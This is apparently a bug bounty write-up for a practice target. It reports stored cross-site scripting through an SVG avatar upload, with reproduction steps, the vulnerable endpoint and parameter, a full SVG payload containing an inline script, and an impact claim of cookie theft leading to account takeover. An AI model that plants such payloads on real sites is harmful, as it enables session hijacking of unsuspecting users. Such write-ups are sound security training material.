bugbountyhunter scope BARKER：第九滴血存储型 Storage Cross-Site Scripting XSS 头像处SVG文件上传报告

一次保护十个 / 2024-08-11 / 原文

登录后来到My profile页面，页面里存在一个Edit Profile

头像处可以上传SVG图片
检查 xss payload：https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS Injection#xss-in-files

使用SVG进行图片上传，发现SVG文件上传成功并返回图片地址

poc:https://cfceb12f2bfd-sec875.a.barker-social.com/storage/EJvryUYazZY0PJSwKxFL9D1IPXD2DQtKie8g1Qcv.svg

英哥历史报告

l have discovered a Storage XSS vulnerability affecting the endpoint 'https://cfceb12f2bfd-sec875.a.barker-social.com/profile/update/52' in the parameter 'post_image'. The payloed requires no filter bypass and is a simple, ' <?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
  <script type="text/javascript">
    alert(document.domain);
  </script>
</svg> '

You can see a working proof of concept here:

https://cfceb12f2bfd-sec875.a.barker-social.com/storage/EJvryUYazZY0PJSwKxFL9D1IPXD2DQtKie8g1Qcv.svg

![image](https://res.cloudinary.com/bugbountynotes/image/upload/v1723372673/fimha2kakscxayepxbfa.png)

To reproduce:

1.Once logged in, you will be taken to the My Profile page where you will have an Edit Profile

![image](https://res.cloudinary.com/bugbountynotes/image/upload/v1723372754/pzydldctbpbvkxd3vaj3.png)

2.You can upload SVG images in the avatar

Check xss payload: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS Injection#xss-in-files

![image](https://res.cloudinary.com/bugbountynotes/image/upload/v1723372847/k3mrn3luzxujrj1xfo9f.png)

![image](https://res.cloudinary.com/bugbountynotes/image/upload/v1723372857/meji4iqdvf1ii3xd2s0i.png)

3.Use SVG to upload pictures. It is found that the SVG file is uploaded successfully and the picture address is returned.

![image](https://res.cloudinary.com/bugbountynotes/image/upload/v1723372952/qy1ow6zk4bqlcxg7n9ft.png)

![image](https://res.cloudinary.com/bugbountynotes/image/upload/v1723372957/ofivrtcglkuzn82t2yt7.png)

4.You will observe xss executes

https://cfceb12f2bfd-sec875.a.barker-social.com/storage/EJvryUYazZY0PJSwKxFL9D1IPXD2DQtKie8g1Qcv.svg

![image](https://res.cloudinary.com/bugbountynotes/image/upload/v1723372673/fimha2kakscxayepxbfa.png)

Payload used: 

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
  <script type="text/javascript">
    alert(document.domain);
  </script>
</svg>

Vulnerable parameter: post_image
Endpoint/URL: https://cfceb12f2bfd-sec875.a.barker-social.com/profile/update/52

lmpact:
As the sessin cookies are not protected by HTTPOnly. we can obtain these and achieve account takeover. As well as this,the CSRF token is stored the DOM which enables us to easily perform actions on behalf of the user.